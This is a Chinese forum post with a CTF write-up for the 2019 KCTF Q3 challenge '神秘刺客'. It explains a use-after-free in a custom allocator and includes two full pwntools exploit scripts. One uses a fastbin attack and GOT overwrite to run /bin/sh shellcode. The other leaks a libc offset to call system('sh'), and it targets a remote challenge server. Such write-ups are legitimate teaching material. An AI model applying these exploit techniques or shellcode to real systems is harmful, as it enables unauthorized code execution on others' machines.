首页
社区
课程
招聘
[原创]2019KCTF Q3 第6题:神秘刺客 Writeup
2019-9-25 13:18 4510

[原创]2019KCTF Q3 第6题:神秘刺客 Writeup

2019-9-25 13:18
4510

神秘刺客 Writeup

一道没有给libc的菜单题,malloc和free都是作者自己实现的,malloc是通过mmap分配方式实现的。
checksec一下:可以看到只开了NX保护,没有开PIE



漏洞点

free之后指针没有置0,可以想到UAF



利用思路①(shellcode):


可以看到map分配的区域mapped是可执行的,那么就想到shellcode


1.通过fastbin attack劫持fd到.bss段的存在'7f'的堆指针区域

2.覆盖下一个堆指针为got.exit

3.由于mmap区域权限为rwx,随便在一个chunk中写入shellcode

4.通过Write heap功能泄露堆地址,编辑got.exit内容为shellcode_addr

5.最后,退出程序会调用exit,即可getshell



意料之外

之后开开心心的我去remote,结果很真实


这是因为作者部署的环境是用的自写的cat flag程序,为了安全性考虑吧。项目地址就在图里面,那我就只能换个思路QAQ

先把shellcode这个思路的exp贴在下边:

from pwn import *
#context.log_level = 'debug'
p = process('./0xbird1')#,env = {'LD_PRELOAD':'./libc.so.6'})
#p = remote('154.8.174.214',10000)
elf = ELF('./0xbird1')

shellcode=""
shellcode += "\x31\xf6\x48\xbb\x2f\x62\x69\x6e"
shellcode += "\x2f\x2f\x73\x68\x56\x53\x54\x5f"
shellcode += "\x6a\x3b\x58\x31\xd2\x0f\x05"

def A(size):
    p.recvuntil('2019KCTF| ')
    p.sendline('A')
    p.recvuntil('Size: ')
    p.sendline(str(size))
def F(id):
    p.recvuntil('2019KCTF| ')
    p.sendline('F')
    p.recvuntil('Index: ')
    p.sendline(str(id))
def W(id,data):
    p.recvuntil('2019KCTF| ')
    p.sendline('W')
    p.recvuntil('Write addr: ')
    p.sendline(str(id))
    p.recvuntil('Write value: ')
    p.send(data)
def N():
    p.recvuntil('2019KCTF| ')
    p.sendline('N')
def E():
    p.recvuntil('2019KCTF| ')
    p.sendline('123')

A(0x70)
A(0x70)
F(1)
W(1,p64(0)*12+p64(0x6020b5))
A(0x70)
A(0x70)
A(0x70)
W(4,'666'+p64(elf.got['exit']))
W(2,shellcode)
p.recvuntil('2019KCTF| ')
p.sendline('W')
p.recvuntil('2) 0x')
shell_addr = int(p.recv(12),16)
log.info("shell_addr: 0x%x"%shell_addr)
p.recvuntil('Write addr: ')
p.sendline('5')
p.recvuntil('Write value: ')
p.sendline(p64(shell_addr))
E()
p.interactive()


利用思路②(system('/bin/sh'))

1.由于mapped区域libc区域之间的偏移是固定的,那么 offset = map_base - libc_base = 0x5eb000 ,libc_base = map_base - 0x5eb000,然后也就得到了system的真实地址

这里就涉及到一个寻找libc版本的问题了,github上有很多项目是安装libc库,这里就不细说了,咱们找到__libc_start_main_ret地址的最后12位为830,然后本地find一下,这里找到了三个版本的libc,一个一个挨着试,发现正确版本是第一个,即ubuntu10

2. 通过fastbin attack劫持fd到.bss段的存在'7f'的堆指针区域
3. 覆盖下一个堆指针为got.atoi,并编辑got.atoi内容为system的地址
4. 最后在malloc功能中有atoi的调用,传入参数 'sh\x00' 即可

上述三个步骤和上个方法的利用类似,就不重复细说了,运行脚本得到flag


附上exp,相关libc文件和exp已打包在附件里
from pwn import *
#context.log_level = 'debug'
#p = process(['./0xbird1'],env={"LD_PRELOAD":"./libc10.so"})
libc = ELF('libc10.so')
p = remote('154.8.174.214',10000)
elf = ELF('./0xbird1')

def A(size):
    p.recvuntil('2019KCTF| ')
    p.sendline('A')
    p.recvuntil('Size: ')
    p.send(str(size))
def F(id):
    p.recvuntil('2019KCTF| ')
    p.sendline('F')
    p.recvuntil('Index: ')
    p.sendline(str(id))
def W(id,data):
    p.recvuntil('2019KCTF| ')
    p.sendline('W')
    p.recvuntil('Write addr: ')
    p.sendline(str(id))
    p.recvuntil('Write value: ')
    p.send(data)
def N():
    p.recvuntil('2019KCTF| ')
    p.sendline('N')
def E():
    p.recvuntil('2019KCTF| ')
    p.sendline('123')

A(0x70)
p.recvuntil('2019KCTF| ')
p.sendline('W')
p.recvuntil('1) 0x')
map_base = int(p.recv(12),16)-8
p.recvuntil('Write addr: ')
p.send('1')
p.recvuntil('Write value: ')
p.send('666')
libc_base = map_base - 0x5eb000
log.info('libc_base is %x'%libc_base)
system_addr = libc_base + libc.symbols['system']
log.info('system_addr is %x'%system_addr)

A(0x70)
F(1)
W(1,p64(0)*12+p64(0x6020b5))
A(0x70)
A(0x70)
A(0x70)
W(4,'666'+p64(elf.got['atoi']))
W(5,p64(system_addr))
A('sh\x00')
p.interactive()

[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法

上传的附件:
收藏
点赞1
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回